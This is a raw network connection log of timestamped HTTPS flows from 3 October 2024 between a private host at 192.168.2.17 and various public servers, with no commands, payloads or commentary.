Oct 3, 2024 17:19:59.220290899 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.220320940 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.220536947 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.220705986 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.220711946 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.221508980 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.221515894 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.270592928 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.270950079 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.271083117 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.271226883 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.271234035 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.366673946 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.366960049 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.366987944 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.367347002 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.367651939 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.367713928 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.367803097 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.405067921 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.405143976 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.405406952 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.405909061 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.405929089 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.405936956 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.405987024 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.411422014 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.455054045 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.455637932 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.455717087 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.456022024 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.456080914 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.477930069 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.477971077 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.478015900 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.478039980 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.478240013 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.478259087 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.478290081 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.478297949 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.478338957 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.478404045 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.478575945 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.478641987 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.478647947 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.479290009 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.479360104 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.479366064 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.479516983 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.479636908 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.479644060 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:59.479654074 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:59.508228064 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.508348942 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.508400917 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.508415937 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.508440018 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.508455992 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.508481026 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.508500099 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.508505106 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.508519888 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.508570910 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.508575916 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.513537884 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.513621092 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.513626099 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.519592047 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.519655943 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.519660950 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.519788980 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.519841909 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.519846916 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.528881073 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.528959036 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.528964043 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.529042959 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.529095888 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.529102087 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.571531057 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.601687908 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.601809978 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.601866007 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.601891041 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.601912022 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.601962090 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.601968050 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.602700949 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.602705002 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.605952024 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.606045961 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.606053114 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.606081009 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.606161118 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.611903906 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.611968040 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.612066031 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.612119913 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.618541956 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.619069099 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.619252920 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.633229971 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.633240938 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.639209032 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:59.639235973 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:59.639343977 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:59.639575958 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:59.639590979 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:59.681015968 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.683072090 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.683087111 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.683648109 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.687752008 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.687843084 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.687900066 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.712250948 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.713651896 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.713664055 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.714071989 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.714476109 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.714538097 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.716164112 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.716178894 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.716192961 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.728205919 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.728259087 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:59.728338003 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.730254889 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.730304956 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:59.730446100 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.730463982 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:59.730501890 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.732848883 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.732933998 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:59.733038902 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.733051062 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.733063936 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:59.733412981 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:59.733448029 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:59.735405922 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.807421923 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.807465076 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.807531118 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.807811975 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.807832003 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.811530113 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.811822891 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.811885118 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.812181950 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.812206984 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.859081984 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.859303951 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.859376907 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.859921932 CEST	56149	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.859940052 CEST	443	56149	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.862720013 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.862777948 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.862915039 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.862993002 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.863025904 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.863178015 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.863224030 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.863241911 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.863373041 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.863395929 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.277168036 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.277456045 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.277492046 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.278597116 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.278906107 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.279062033 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.279069901 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.279083014 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.279088020 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.298613071 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.298880100 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.298899889 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.300355911 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.300416946 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.300760031 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.300841093 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.300915956 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.300931931 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.319833994 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.320041895 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.320072889 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.320386887 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.320657015 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.320715904 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.320770979 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.322519064 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.322527885 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.347120047 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.358633041 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.358867884 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.358895063 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.359416962 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.359886885 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.359975100 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.360066891 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.360090971 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.360104084 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.360621929 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.360841990 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.360904932 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.361988068 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.362054110 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.362328053 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.362452984 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.362456083 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.362696886 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.362868071 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.362883091 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.364347935 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.364411116 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.364655018 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.364741087 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.364778042 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.364803076 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.367403030 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.369518995 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.374073982 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.374331951 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.374361038 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.377902985 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.377975941 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.378243923 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.378362894 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.378376007 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.378423929 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.407423973 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.416034937 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.416228056 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.416502953 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.416510105 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.416543007 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.416562080 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.416579008 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.417205095 CEST	56154	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.417217970 CEST	443	56154	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.420352936 CEST	56157	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.420407057 CEST	443	56157	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.420641899 CEST	56157	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.420840979 CEST	56157	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.420864105 CEST	443	56157	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.432531118 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.432545900 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.449043989 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.449224949 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.449290037 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.449956894 CEST	56156	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.449975014 CEST	443	56156	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.464507103 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.464519024 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.480504036 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.506453991 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.506901026 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.506992102 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.507164001 CEST	56155	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.507181883 CEST	443	56155	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.510289907 CEST	56158	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.510322094 CEST	443	56158	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.510535955 CEST	56158	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.510680914 CEST	56159	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.510714054 CEST	443	56159	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.510813951 CEST	56159	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.510886908 CEST	56158	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.510911942 CEST	443	56158	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.511035919 CEST	56159	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:20:00.511051893 CEST	443	56159	35.186.194.58	192.168.2.17
Oct 3, 2024 17:20:00.548490047 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.548583984 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.548643112 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.549081087 CEST	56151	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.549103022 CEST	443	56151	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.550940990 CEST	56160	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.550981998 CEST	443	56160	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.551048040 CEST	56160	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.551331997 CEST	56160	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.551347017 CEST	443	56160	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.560584068 CEST	56161	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.560607910 CEST	443	56161	157.240.252.35	192.168.2.17
Oct 3, 2024 17:20:00.560755014 CEST	56161	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.561182976 CEST	56161	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.561197996 CEST	443	56161	157.240.252.35	192.168.2.17
Oct 3, 2024 17:20:00.569663048 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.569811106 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.569875956 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.570158958 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.570183992 CEST	443	56153	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.570209026 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.570230007 CEST	56153	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.572571993 CEST	56162	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.572594881 CEST	443	56162	157.240.252.35	192.168.2.17
Oct 3, 2024 17:20:00.572767019 CEST	56162	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.572957993 CEST	56162	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.572976112 CEST	443	56162	157.240.252.35	192.168.2.17
Oct 3, 2024 17:20:00.699853897 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.699918985 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.699978113 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.700004101 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.700619936 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.700670004 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.700680971 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.700709105 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.700754881 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.701601982 CEST	56152	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:20:00.701617002 CEST	443	56152	157.240.251.35	192.168.2.17
Oct 3, 2024 17:20:00.704591990 CEST	56163	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.704623938 CEST	443	56163	157.240.252.35	192.168.2.17
Oct 3, 2024 17:20:00.704701900 CEST	56163	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.704878092 CEST	56163	443	192.168.2.17	157.240.252.35
Oct 3, 2024 17:20:00.704886913 CEST	443	56163	157.240.252.35	192.168.2.17
Oct 3, 2024 17:20:00.721520901 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.721601009 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.722067118 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.722105026 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.722152948 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.722172976 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.722855091 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.722886086 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.722915888 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.722933054 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.723025084 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.730207920 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.730263948 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.730277061 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.730421066 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.730618000 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.730628967 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.736849070 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.736917019 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.736938953 CEST	443	56150	157.240.253.1	192.168.2.17
